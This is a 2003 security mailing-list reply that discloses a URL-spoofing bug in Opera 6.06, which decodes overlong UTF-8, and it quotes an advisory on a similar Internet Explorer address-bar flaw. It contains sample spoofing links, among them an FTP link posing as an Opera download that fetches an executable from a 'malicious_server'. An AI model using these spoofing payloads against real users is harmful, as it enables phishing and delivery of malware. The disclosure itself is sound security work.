Re: Internet Explorer URL parsing vulnerability

["nesumin" <nesumin () softhome net>]

I have tested this bug on Opera 6.06/7.23 at Win2k.SP4/Win98SE
Japanese.

Opera 7.23 was not effected by this bug but Opera 6.06 had
a similar bug.

Example:
  http://www.fake_server.com%C0%80@www.real_server.com/

When Opera 6.06 which "Encoding all addresses with UTF-8"
(Opera's network setting) is enabled opens the URL above,
"%C0%80" will be converted to "\x0000" (*1)  and
Opera opens "http://www.real_server.com/"; showing
"http://www.fake_server.com"; in the address bar or
some JavaScript objects and so forth.

And Opera 6.06 shows a URL Warining Dialog before it goes to a URL that
contains a username so that a user will see the real server's name
in HTTP/HTTPS.
But in FTP, it does not shows a URL Warining Dialog so that
a user cannot see the real information.


Sample Code (for Opera 6) :

  <a href="http://www.fake_server.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%80 () www opera com/">
  http://www.fake_server.com/fake_path/fake_filename.html
  </a>

  <a 
href="ftp://ftp.opera.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe";>
  ftp://ftp.opera.com/pub/opera/win/723/en/std/ow32enen723.exe
  </a>


*1 Opera 6 has a "UTF-8 Decode Bug".
   "\xC0\x80" .. "\xC0\xBF", "\xC1\x80" .. "\xC1\xBF" are mapped to
   "\x0000" .. "\x003F", "\x0040" .. "\x007F".
   Due to this bug, Opera 6 has so many troubles.


Thanks.

nesumin


-----Original Message-----
From: <bugtraq () zapthedingbat com>
Sent: 9 Dec 2003 14:44:16 -0000
To: bugtraq () securityfocus com
Subject: Internet Explorer URL parsing vulnerability


> Internet Explorer URL parsing vulnerability
> Vendor Notified 09 December, 2003
>
> # Vulnerability ##########
> There is a flaw in the way that Internet Explorer displays URLs in the address bar.
>
> By opening a specially crafted URL an attacker can open a page that appears to be from a different domain from the 
> current location. 
>
> # Exploit ##########
> By opening a window using the http://user@domain nomenclature an attacker can hide the real location of the page by 
> including a 0x01 character after the "@" character.
> Internet Explorer doesn't display the rest of the URL making the page appear to be at a different domain. 
>
> # POC ##########
> http://www.zapthedingbat.com/security/ex01/vun1.htm
>
> # Tested ##########
> Internet Explorer
> Version 6.0.2800.1106C0
> Updates: SP1, Q810847, Q810351, Q822925, Q330994, Q828750, Q824145
>
> # Credit ##########
> Zap The Dingbat
> http://www.zapthedingbat.com/